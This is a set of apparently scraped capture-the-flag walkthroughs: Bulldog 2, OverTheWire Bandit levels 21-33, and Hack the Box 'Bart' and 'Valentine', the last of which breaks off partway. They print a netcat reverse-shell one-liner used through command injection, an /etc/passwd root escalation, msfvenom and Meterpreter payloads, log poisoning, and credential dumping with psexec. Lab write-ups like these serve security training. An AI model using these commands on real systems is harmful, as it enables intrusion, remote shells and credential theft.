Hello friends!! Today we are going to solve another CTF challenge “Bulldog 2”. This VM is developed by Nick Frichette, which is a standard Boot-to-Root challenge. Our goal is to get into the root directory and see the congratulatory message.

Level: Intermediate

Task: To Find The Final Flag.

Steps involved:

1. Post-scanning to discover open ports
   
2. Discovery of top monthly users
   
3. Discovery of authorization of admin in a JavaScript file
   
4. Bruteforcing each user with fasttrack.txt
   
5. Modification of response code of correct credential to make it master_admin_user
   
6. Discovery of the new admin dashboard
   
7. Exploiting CLI in password tab in the Login page
   
8. Getting netcat shell
   
9. Spawning a teletype
   
10. Escalating privileges using writable /etc/passwd file
    

Let’s Breach!!

The target holds 192.168.1.120 as network IP; now using nmap lets find out open ports.

nmap –A 192.168.1.120
1
nmap –A 192.168.1.120



Nmap scan shows us port 80 is open, so we open the IP address in our browser.



We saw a Register tab on the Homepage. After Clicking on it, a notice was given on that page stating that they are not accepting registration at this time due to security concerns. This means we can’t register as a new user.



There was a Login tab as well on the Homepage, which led us to think if we can’t register as a new user then let’s login as an existing user. It came into our notice that there was a User’s Tab given on the Homepage.



After exploring the details inside the Users Tab, we came to know about all the usernames of the Top Monthly Users. This can be used as a clue later on.



Next, we thought of Viewing the Page Source of the Webpage, where we found a file main.8b490782e52b9899e2a7.bundle.js .



After viewing the contents of this file, we found out that master_admin_user has the highest auth_level.



We thought of capturing the request of the Login Page in Burp Suite. Send the captured request to the intruder. Select attack type as Cluster Bomb to perform brute forcing over Username and Password.



Now we have selected the Payload type as Simple list for Payload set 1 where we have given the list all the usernames of the Top Monthly Users found earlier.



Similarly for Payload set 2 we have given Payload type as Simple list, here we have loaded the dictionary file of fasttrack.txt.



Once Brute Forcing is completed, we have got the password qwerty for the username mdrudie.



Now logging in with username mdrudie and password qwerty. As you can see these details have successfully logged us in.



Now capturing the request of the Login page, we will also intercept the response of the captured request.



We have copied this response and decoded it using an online JSON Token converter. Here we see the auth_level is at standard_user.



Changing the auth_level to master_admin_user. This will give us the admin privileges.



Now copy the edited encoded response and Replace it with the old encoded response in the Burp Suite. Also, change the auth_level to master_admin_level as shown in the image.



On forwarding the request, we have successfully logged in the user with admin privileges.



Now clicking on the Admin tab, an Admin Dashboard login form opens up which asks for a username and password. The line about using a CLI tool to log in gave us a hint about command injection.  Unfortunately, it’s a blind command injection.



Now we will dump the ICMP packets that are destined towards eth0 interface. By using the command:

tcpdump -nni eth0 icmp
1
tcpdump -nni eth0 icmp



Now by capturing the request of the Login Form of the Admin Dashboard using username mdrudie and password qwerty through burp suite. Now we will check if the command injection is working in the password input area by using the command:

; ping 192.168.1.104 -c 4
1
; ping 192.168.1.104 -c 4



Since we are able to capture the ICMP packets at eth0 interface, this means command injection is working in the password input area.

tcpdump -nni eth0 icmp
1
tcpdump -nni eth0 icmp



Now using the reverse shell one-liner in the password input area which is given below: form pentestmonkey

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.104 1234 >/tmp/f
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.104 1234 >/tmp/f



Side by Side we have activated a netcat listener and obtained a shell.

nc -lvp 1234
1
nc -lvp 1234



We will be checking permissions for /etc/passwd directory using the command:

ls -al /etc/passwd
1
ls -al /etc/passwd

As you can see this directory is having permission to read, write and execute.



We read the /etc/passwd file using cat utility after that.

cat /etc/passwd
1
cat /etc/passwd



Our aim was to add a user in /etc/passwd file as root. So, we use OpenSSL utility to create a password hash with the command:

openssl passwd –l –salt user3 pass123
1
openssl passwd –l –salt user3 pass123

Copy the password hash in someplace safe now.



Copy the /etc/passwd file in a leafpad file and let’s add our custom user in there.

hack:$1$user3$<hash>/:0:0:/hack:/bin/bash
1
hack:$1$user3$<hash>/:0:0:/hack:/bin/bash



Save this file somewhere on the desktop and download this file on server’s /tmp (universal writeable) directory.

Then use cp to copy and replace this file with the original file with the command:

cp passwd /etc/passwd
1
cp passwd /etc/passwd



Let’s try and login using su binary:

su hack
[password]: pass123
1
2
su hack
[password]: pass123

Oh yeah, we got the root shell! Let’s read the flag now.

cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt





Today, we will continue to play the war-game called Bandit.

[To see content please register here]

Organization hosts this war-game. To play this war-game, go to the Bandit website by clicking

[To see content please register here]

. Get the solutions of other levels from below.

[To see content please register here]

[To see content please register here]

Objective

Find the password file. It will give us access to the next level.

Table of Content:

• Level 21-22
  
• Level 22-23
  
• Level 23-24
  
• Level 24-25
  
• Level 25-26
  
• Level 26-27
  
• Level 27-28
  
• Level 28-29
  
• Level 29-30
  
• Level 30-31
  
• Level 31-32
  
• Level 32-33
  
• Level 33
  

Level 21-22

In the

[To see content please register here]

article, we got the password for level 21 and have successfully connected as user bandit21. We are informed that there is a cron script running and we need to enumerate /etc/cron.d/ for the password. So, we traversed to that path. We use ls command to show the list of files inside the directory. As the next level is bandit22 so we read the cronjob_bandit22 using cat command. It shows that there is a script at /usr/bin/cronjob_bandit22.sh. So, we read that script to find that it writes the password for the next user inside a file that is located inside the tmp directory. On reading that file we got the password we required to get on to the next level.

cd /etc/cron.d/
ls
cat cronjob_bandit22
cat /usr/bin/cronjob_bandit22.sh
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
1
2
3
4
5
cd /etc/cron.d/
ls
cat cronjob_bandit22
cat /usr/bin/cronjob_bandit22.sh
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv



Now that we have the password for the next level, we will login as bandit22 using SSH.

ssh bandit22@localhost
1
ssh bandit22@localhost



Level 22-23

On this level, we are informed that there is a cron script running and we need to enumerate /etc/cron.d/ for the password. So, we traversed to that path. We use ls command to show the list of files inside the directory. As the next level is bandit23 so we read the cronjob_bandit23 using cat command. It shows that there is a script at /usr/bin/cronjob_bandit23.sh. So, we read that script using cat command. This script has a variable called myname which is the output of the command whoami. Which basically return bandit22. Next, the operation is done on this variable. It prints “I am user bandit22” and it is encrypted in MD5. This hash is used to name the file which has the password for the next level. Now to get the password for the bandit23 user, we run the command with the value for the variable myname set to bandit23. This will give us the hash value which further gives the name of the file in the tmp directory.

cd /etc/cron.d/
ls
cat cronjob_bandit23
cat /usr/bin/cronjob_bandit23.sh
/usr/bin/cronjob_bandit23.sh
echo I am user bandit23 | md5sum | cut -d ' ' -f 1
cat /tmp/8ca319486bfbbc3663ea0fbe81326349
1
2
3
4
5
6
7
cd /etc/cron.d/
ls
cat cronjob_bandit23
cat /usr/bin/cronjob_bandit23.sh
/usr/bin/cronjob_bandit23.sh
echo I am user bandit23 | md5sum | cut -d ' ' -f 1
cat /tmp/8ca319486bfbbc3663ea0fbe81326349



Now that we have the password for the next level, we will login as bandit23 using SSH.

ssh bandit23@localhost
1
ssh bandit23@localhost



Level 23-24

On this level, we are informed that there is a cron script running and we need to enumerate /etc/cron.d/ for the password. So, we traversed to that path. We use ls command to show the list of files inside the directory. As the next level is bandit24 so we read the cronjob_bandit24 using cat command. It shows that there is a script at /usr/bin/cronjob_bandit24.sh. So, we read that script using cat command. We see that we have a script with a variable named myname which consists of the output of the whoami command. The script first changes the name directory to /var/spool and then executes files with the variable myname file. And after executing it deletes all files inside that directory.

cd /etc/cron.d/
ls -la
cat cronjob_bandit24
cat /usr/bin/cronjob_bandit24.sh
1
2
3
4
cd /etc/cron.d/
ls -la
cat cronjob_bandit24
cat /usr/bin/cronjob_bandit24.sh



Now to get the password for the next directory we will have to create a script of our own so that we can put it inside the /var/spool that will cat the password file from the /etc/bandit_pass/bandit24. We will have to save the file with the name of the next user in order to run the file as a cron job successfully.

mkdir /tmp/Ignite123
cd /tmp/Ignite123
nano bandit24.sh
1
2
3
mkdir /tmp/Ignite123
cd /tmp/Ignite123
nano bandit24.sh





After creating a file using nano, we will write the script that will read the password from the /etc/bandit_pass and writes in the file inside the directory we just created.

#!/bin/bash
cat /etc/bandit_pass/bandit24 >> /tmp/Ignite123/level24
1
2
#!/bin/bash
cat /etc/bandit_pass/bandit24 >> /tmp/Ignite123/level24



Now to execute successfully, we will have to give proper read and write permissions to the script we just created and also to the directory we created.

chmod 777 bandit24.sh
cp bandit24.sh /var/spool/bandit24/
chmod 777 /tmp/Ignite123
1
2
3
chmod 777 bandit24.sh
cp bandit24.sh /var/spool/bandit24/
chmod 777 /tmp/Ignite123



We will have to wait for some time. We got a bit stuck here as we didn’t wait for enough. Have a bit of patience, it will take some time. After that when we list the files inside the directory, we see that a new file is created and upon reading the contents of that file, we find the password that we were looking for in this level. Now that we have the password for the next level, we will login as bandit24 using SSH.

ls
cat level24
1
2
ls
cat level24



Now, if the above-mentioned method doesn’t work for you. This is another method to grab the password. It is based on the method that we did at an earlier level. In the previous level we wrote the I am user bandit23 now that we have to grab the password for bandit24 we will write I am user bandit24 and convert it to MD5 and use that text as a directory for the password for the next level. We prefer this method because is obviously faster and easier.

echo I am user bandit24 | md5sum | cut -d ' ' -f 1
cat /tmp/ee4ee1703b083edac9f8183e4ae70293
ssh bandit24@localhost
1
2
3
echo I am user bandit24 | md5sum | cut -d ' ' -f 1
cat /tmp/ee4ee1703b083edac9f8183e4ae70293
ssh bandit24@localhost



Level 24-25

On this level, we are informed that a background process is running. It is listening at post 30002 and will give the password for the next level. And we will have to feed it the password for the current level. But wait there is a catch. We will also have to provide a 4-digit secret passcode which will have to Bruteforce as we have absolutely no clue about it. Now to apply Bruteforce we will have to create a Dictionary. As always, we will be needing to read and write permissions to create a script. So, we will create a directory inside the tmp directory. Let’s create a script using nano.

nc localhost 30002
cd /tmp/pavan2
nano bruteforcer.sh
1
2
3
nc localhost 30002
cd /tmp/pavan2
nano bruteforcer.sh



After creating the script file, we will have to create a file that would act as a dictionary. We are told that we will have to feed the daemon running on port 30002 the password of the current level followed by a 4-digit passcode. So, we ran a loop that lists all the 4 digits and writes those inside a file called output. This file will act as a dictionary.

#!/bin/bash
passwd="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
for i in {8000..8999}
do
echo $passwd' '$i >> output.txt
done
1
2
3
4
5
6
#!/bin/bash
passwd="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
for i in {8000..8999}
do
echo $passwd' '$i >> output.txt
done



Now before running the above script, let’s first give it proper permissions. After that, we will run the script. Now, to apply Bruteforce, we will have to use piping (|). We will first read the password we created inside the output.txt than we will feed its output to the nc at 30002 port. Further, we will feed the output to a file called result. This will make reading the password easier. Now using the sort command combined with the uniq command, we will extract the correct password easily. Now that we have the password for the next level, we will login as bandit25 using SSH.

chmod 777 bruteforcer.sh
./bruteforcer.sh
cat output.txt | nc localhost 30002 >> result.txt
sort result.txt | uniq -u
ssh bandit25@localhost
1
2
3
4
5
chmod 777 bruteforcer.sh
./bruteforcer.sh
cat output.txt | nc localhost 30002 >> result.txt
sort result.txt | uniq -u
ssh bandit25@localhost



Note: When we were trying the Bruteforce, there were times when we were getting a session timeout error. To resolve this, don’t Bruteforce from 0 to 9999. Instead, divide the dictionary into small sections like 0 to 1000 and 1001 to 2000 and so on.

Level 25-26

On this level, we are informed that the shell for user bandit26 is not bin bash. So, we will have to figure it out. After logging in as bandit25, we ran the ls command to list all the files inside the directory. This gave an ssh key. So, we tried to login with it.

ls
ssh bandit26@localhost -i bandit26.sshkey
1
2
ls
ssh bandit26@localhost -i bandit26.sshkey



We saw that a session was generated but it displayed a pattern as below and then the session was closed.



After a bit enumeration, here and there. It hit us to check the /etc/passwd file. As this was a machine with lots of users so we used the grep command to get a refined result for the bandit26 user. It gave us a file called showtext. We read the file showtext using the cat command. It shows us that ‘more’ is used with the text file that shows us the pattern we saw before. Now, this gave us an idea that we need to provoke the more command. To do this we will have to decrease the size of the terminal so that it can’t display that pattern.

cat /etc/passwd | grep bandit26
cat /usr/bin/showtext
1
2
cat /etc/passwd | grep bandit26
cat /usr/bin/showtext



So, we decreased the size of the terminal as shown in the image and then again tried to login. This will trigger the ‘more’. Now press ‘v’ to enable vi editor.



Now, we will write the following command to invoke a shell here as shown in the given image.

et shell=/bin/bash
1
et shell=/bin/bash



As we can see in the given image that we have the shell for bandit26.

h
1
h



Level 26-27

On this level, we are not given any hints. We are on our own on this. So, we like to see what we have to work upon in the current directory. We ran ls command to find a script bandit27-do. Let’s execute the script to see if we get any message or hint. It does one better, it gives us an example. This script basically runs the command it is given as user bandit27. So now that we can run commands as user bandit27. Let’s read the password file located at /etc/bandit_pass/bandit27. Now that we have the password for the next level, we will login as bandit27 using SSH.

ls
./bandit27-do
./bandit27-do whoami
./bandit27-do cat /etc/bandit_pass/bandit27
ssh bandit27@localhost
1
2
3
4
5
ls
./bandit27-do
./bandit27-do whoami
./bandit27-do cat /etc/bandit_pass/bandit27
ssh bandit27@localhost



Level 27-28

On this level, we are informed that there is a git repository and the password for that repository is the same password that was used to login in as user bandit27. We are required to clone the repository. Now we need to have the write permission to clone a repository. So, we create a directory in the tmp directory. After cloning let’s list all the file in the repo. We find a README file. Upon reading that file we get the password for the next level.

mkdir /tmp/pavan4
cd /tmp/pavan4
git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
ls
cd repo
ls
cat README
1
2
3
4
5
6
7
mkdir /tmp/pavan4
cd /tmp/pavan4
git clone ssh://bandit27-git@localhost/home/bandit27-git/repo
ls
cd repo
ls
cat README



Now that we have the password for the next level, we will login as bandit28 using SSH.

ssh bandit28@localhost
1
ssh bandit28@localhost



Level 28-29

On this level, we are informed that there is a git repository and the password for that repository is the same password that was used to login in as user bandit28. We are required to clone the repository. Now we need to have the write permission to clone a repository. So, we create a directory in the tmp directory. After cloning let’s list all the file in the repo. We find a README file. Upon reading that file we see that password is hidden.

mkdir /tmp/pavan5
cd /tmp/pavan5
git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
ls
cd repo/
ls
cat README.md
1
2
3
4
5
6
7
mkdir /tmp/pavan5
cd /tmp/pavan5
git clone ssh://bandit28-git@localhost/home/bandit28-git/repo
ls
cd repo/
ls
cat README.md



Maybe the password was inside the file but was removed.  Good thing is that whenever a change is made in a git, a log entry is created. Let’s check that log, we can see that the author of git has made the latest commit named ‘fix info leak’. We need to check out this commit.

git log
1
git log



To see the changes made in the commit, we will use the git show command to read the changes made. As expected, we found the password inside this commit.

git show 073c27c130e6ee407e12faad1dd3848a110c4f95
1
git show 073c27c130e6ee407e12faad1dd3848a110c4f95



Now that we have the password for the next level, we will login as bandit29 using SSH.

ssh bandit29@localhost
1
ssh bandit29@localhost



Level 29-30

On this level, we are informed that there is a git repository and the password for that repository is the same password that was used to login in as user bandit29. We are required to clone the repository. Now we need to have the write permission to clone a repository. So, we create a directory in the tmp directory. Now we will clone the repository inside this directory.

mkdir /tmp/pavan6
cd /tmp/pavan6
git clone ssh://bandit29-git@localhost/home/bandit29-git/repo
1
2
3
mkdir /tmp/pavan6
cd /tmp/pavan6
git clone ssh://bandit29-git@localhost/home/bandit29-git/repo



After cloning let’s list all the file in the repo. We find a README file. Here we are told that there is no password in production. Now its time to enumerate this git.

ls
cd repo/
ls
cat README.md
1
2
3
4
ls
cd repo/
ls
cat README.md



We list all the branches in this git using the git branch command. It shows us that we. have another branch called dev. Let’s check out this branch for the password. After switching to this branch, we run ls command to see that we have a README file. Upon reading that file we get the credentials.

git branch -a
git checkout dev
cat README.md
1
2
3
git branch -a
git checkout dev
cat README.md



Now that we have the password for the next level, we will login as bandit30 using SSH.

ssh bandit30@localhost
1
ssh bandit30@localhost



Level 30-31

On this level, we are informed that there is a git repository and the password for that repository is the same password that was used to login in as user bandit30. We are required to clone the repository. Now we need to have the write permission to clone a repository. So, we create a directory in the tmp directory. Now we will clone the repository inside this directory.

mkdir /tmp/pavan7
cd /tmp/pavan7
git clone ssh://bandit30-git@localhost/home/bandit30-git/repo
1
2
3
mkdir /tmp/pavan7
cd /tmp/pavan7
git clone ssh://bandit30-git@localhost/home/bandit30-git/repo



After cloning let’s list all the file in the repo. We find a README file. Here we are told that it is an empty file. Now it’s time to enumerate this git. Git has the ability to tag specific points in a repository’s history as being important. We can enumerate that tag. On looking carefully, we find the tag secret. On reading that tag we find the password we were looking for on this level. Now that we have the password for the next level, we will login as bandit31 using SSH.

ls
cd repo
ls
cat README.md
git tag
git show secret
ssh bandit31@localhost
1
2
3
4
5
6
7
ls
cd repo
ls
cat README.md
git tag
git show secret
ssh bandit31@localhost



Level 31-32

On this level, we are informed that there is a git repository and the password for that repository is the same password that was used to login in as user bandit31. We are required to clone the repository. Now we need to have the write permission to clone a repository. So, we create a directory in the tmp directory. Now we will clone the repository inside this directory.

mkdir /tmp/pavan8
cd /tmp/pavan8
git clone ssh://bandit31-git@localhost/home/bandit31-git/repo
1
2
3
mkdir /tmp/pavan8
cd /tmp/pavan8
git clone ssh://bandit31-git@localhost/home/bandit31-git/repo



After cloning let’s list all the file in the repo. We find a README file. Here we are told that in order to get the password for the next level, we have to push a file in the remote repository. This file must be named key.txt and should contain the content May I come in?

ls
cd repo/
ls
cat README.md
nano key.txt
1
2
3
4
5
ls
cd repo/
ls
cat README.md
nano key.txt



So, we create a text file name key using nano and enter the phrase “May I come in?” in it.



Now we add the file to the repository and commit to that entry. And finally, push it into the origin branch. This step requires the password for the current user. As we can see in the given image that we have the password for the next level.

git add -f key.txt
git commit -m "."
git push origin
1
2
3
git add -f key.txt
git commit -m "."
git push origin



Now that we have the password for the next level, we will login as bandit32 using SSH.

ssh bandit32@localhost
1
ssh bandit32@localhost



Level 32-33

On reaching this level, we are greeted with a message “Welcome to the Uppercase shell”. To understand what it does, we ran ls command but we got an error. On close inspection of the error message, we understand that it states that the LS command is not found. It means that the shell converts my commands to Uppercase before executing. For this level, we are given a hint “it’s time for another escape”. This made us curious about escape characters. Upon brief research, we found that we can bypass this uppercase shell using an escape character ‘$0’. We were right. We got the bash. Let’s list all files using ls -al command. We see that the owner of uppercase is bandit33. So, we can access the /etc/bandit_pass/bandit33 file to get the password for the next level. After getting the password, we will login as bandit33 using SSH.

ls
$0
ls -al
cat /etc/bandit_pass/bandit33
ssh bandit33@localhost
1
2
3
4
5
ls
$0
ls -al
cat /etc/bandit_pass/bandit33
ssh bandit33@localhost



Level 33

This is the final level for now as the bandit team is working on creating more levels. We connected to this level as use bandit33. After connecting we run ls command to see the list of files we have in the current directory. We see that we have a README file. On opening that file, we see the final flag and a brief message from the Over the Wire Team. This concludes this series for now. We will solve more levels as soon as Over the Wire team publishes more levels.

ls
cat README.txt
1
2
ls
cat README.txt





Hello friends!! Today we are going to solve another CTF challenge “Bart” which is available online for those who want to increase their skill in penetration testing and black box testing. Bart is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on the victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.81 so let’s begin with nmap port enumeration.

nmap -sV 10.10.10.81
1
nmap -sV 10.10.10.81

From the given below image, you can observe we find only port 80 is open on the target system.



As port 80 is running http, we open the IP address in our browser. As soon as we open the IP address we get redirected to “forum.bart.htb”.



Since htb doesn’t have global DNS, we aren’t going to be able to resolve the site. So we add a DNS entry in our /etc/hosts file to point 10.10.10.81 to both bart.htb and forum.bart.htb.



When we open forum.bart.htb, we find a website that has been built on WordPress.



When we open bart.htb it redirects us to forum.bart.htb. We enumerate directories for both domains and find a directory called “/monitor” for domain bart.htb.

dirb

[To see content please register here]

1
dirb

[To see content please register here]

When we open /monitor directory given by dirb scan and find a login page



We use burpsuite to brute force the login page using an /usr/share/wordlists/metasploit/common-root.txt dictionary and find the credentials to be harvery:potter.



We login using these credentials and get redirected to a different domain called monitor.bart.htb.



We add the domain name monitor.bart.htb in /etc/hosts file.



Now when we refresh the page we get a page for server monitoring.



Going through the page we find a link to a site and a domain we need to add to /etc/hosts.



We add domain internal-01.bart.htb we found earlier on the site to /etc/hosts.



We now open internal-01.bart.htb and find a login form.



We capture the login request using burpsuite and modify the request by changing login.php to register.php.



Then we login using the credentials we use to register and find a chat box.



We find a link to an open log link, we capture the request using burpsuite and when we look at the header it looks like filename parameter may be vulnerable to LFI.



We were not able to access any system file but we were able to access log.php and find access logs.



Now we use log poisoning to get a reverse shell. We change the user-agent to run the whoami command, when we run the command we get the user name.



We were not able to get reverse shell using web delivery, so we first create a reverse shell using msfvenom

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f exe > shell.exe
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f exe > shell.exe



After creating our shell, we upload the payload to the target machine using PowerShell. First we set up our HTTP server using python.

python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80





We set up our listener using Metasploit before executing the target machine.

msf > use exploit/multi/handler
msf > exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf > exploit(multi/handler) > set lhost 10.10.14.6
msf > exploit(multi/handler) > set lport 4444
msf > exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf > exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf > exploit(multi/handler) > set lhost 10.10.14.6
msf > exploit(multi/handler) > set lport 4444
msf > exploit(multi/handler) > run



After uploading our shell and setting up our listener, we now execute the payload using log poisoning.



As soon as we execute the payload we get our reverse shell.



After we get the reverse shell we find that the system is 64-bit architecture so we change the payload type to 64-bit architecture.

msf > use windows/local/payload_inject
msf exploit(windows/local/payload_inject) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/payload_inject) > set lhost 10.10.14.6
msf exploit(windows/local/payload_inject) > set lport 1234
msf exploit(windows/local/payload_inject) > set session 1
msf exploit(windows/local/payload_inject) > run
1
2
3
4
5
6
msf > use windows/local/payload_inject
msf exploit(windows/local/payload_inject) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/payload_inject) > set lhost 10.10.14.6
msf exploit(windows/local/payload_inject) > set lport 1234
msf exploit(windows/local/payload_inject) > set session 1
msf exploit(windows/local/payload_inject) > run



After running the exploit, we get a 64-bit meterpreter shell. Now we can run post modules properly as 32-bit meterpreter was running into problems.



We use autologin post module to find the password for Administrator user.

msf > use windows/gather/credentials/windows_autologin
msf post(windows/gather/credentials/windows_autologin) > set session 2
msf post(windows/gather/credentials/windows_autologin) > run
1
2
3
msf > use windows/gather/credentials/windows_autologin
msf post(windows/gather/credentials/windows_autologin) > set session 2
msf post(windows/gather/credentials/windows_autologin) > run



Now enumerating the target machine, we find that port 445 is running internally. So we use port forwarding so that we can use our machine to connect with it.

meterpreter > portfwd add -l 443 -p 445 -r 10.10.10.81
1
meterpreter > portfwd add -l 443 -p 445 -r 10.10.10.81



Now we use impacket-smbserver to create an smb server in our machine. So that we can share our /root directory with the target machine as our shell that we created earlier can be run on the target machine.

impacket-smbserver hack /root
1
impacket-smbserver hack /root



Now the session we had earlier died so port 4444 is free. So we are going to use that payload to get our reverse shell. First, we run Metasploit in a new tab and set up our listener.

msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.6
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.6
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run



Now we use psexec auxiliary to run our payload hosted on our system.

msf > use auxiliary/admin/smb/psexec_command
msf auxiliary(admin/smb/psexec_command) > set SMBUser Administrator
msf auxiliary(admin/smb/psexec_command) > set SMBPass 3130438f31186fbaf962f407711faddb
msf auxiliary(admin/smb/psexec_command) > set COMMAND \\\\10.10.14.6\\\hack\\\shell.exe
msf auxiliary(admin/smb/psexec_command) > set rhosts 127.0.0.1
msf auxiliary(admin/smb/psexec_command) > set rport 443
msf auxiliary(admin/smb/psexec_command) > run
1
2
3
4
5
6
7
msf > use auxiliary/admin/smb/psexec_command
msf auxiliary(admin/smb/psexec_command) > set SMBUser Administrator
msf auxiliary(admin/smb/psexec_command) > set SMBPass 3130438f31186fbaf962f407711faddb
msf auxiliary(admin/smb/psexec_command) > set COMMAND \\\\10.10.14.6\\\hack\\\shell.exe
msf auxiliary(admin/smb/psexec_command) > set rhosts 127.0.0.1
msf auxiliary(admin/smb/psexec_command) > set rport 443
msf auxiliary(admin/smb/psexec_command) > run



As soon as we run psexec auxiliary we get a reverse shell with as an administrator.



In c:\Users\Administrator\Desktop we find a file called root.txt when we open it and find our first flag.



Enumerating the system in c:\Users\h.potter, we find a file called user.txt. When we take a look at the content of the file we get our second flag.





Hello friends! Today we are going to solve the CTF challenge “Valentine” which is a vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have a very good collection of vulnerable labs as challenges from beginners to Expert level.

Difficulty Level: Medium

Task: find user.txt and root.txt file on victim’s machine.

Steps involved:

• Port scanning and services detection
  
• Web server directory enumeration
  
• Discovery of hex encoded ssh key
  
• Decoding key
  
• Finding Passphrase
  
• Capturing user flag
  
• Capturing root flag
  

This lab has a static IP and IP of 10.10.10.79. So let’s start the CTF challenge with port scanning.

nmap –A 10.10.10.79
1
nmap –A 10.10.10.79

From its scanning result we found port 22 and 80 are open for ssh and http services.



Let’s enumerate the web service running on port 80.  The below image could be a hint, there is a heart and blood. Does it mean heartbleed?  Could be!  Let’s enumerate further.



Let’s see what we can find by directory brute forcing:

dirb

[To see content please register here]

1
dirb

[To see content please register here]

It put so many files but /dev looks more interesting so Lets browse

[To see content please register here]

.



Great we found some directories here. Let’s manually check these directories one by one. The directory “dev” seems very interesting, There are two files as shown in the below images.



Firstly I opened notes.txt file as shown in the below image, it seems there is some encoding and decoding is involved.



Then we opened another file hype_key and notice found encoded hex text, let’s convert it into plain text and see if it makes any sense.



With help of burp we try to decode above hex into plain text as shown in the image. So it’s a RSA private key, but it has space after each character, which needs to be fixed.



After removing space using sed command, we get our key as shown in the image below. Now all we need is a passphrase.

sed 's/ //g' key> sshkey
cat sshkey
1
2
sed 's/ //g' key> sshkey
cat sshkey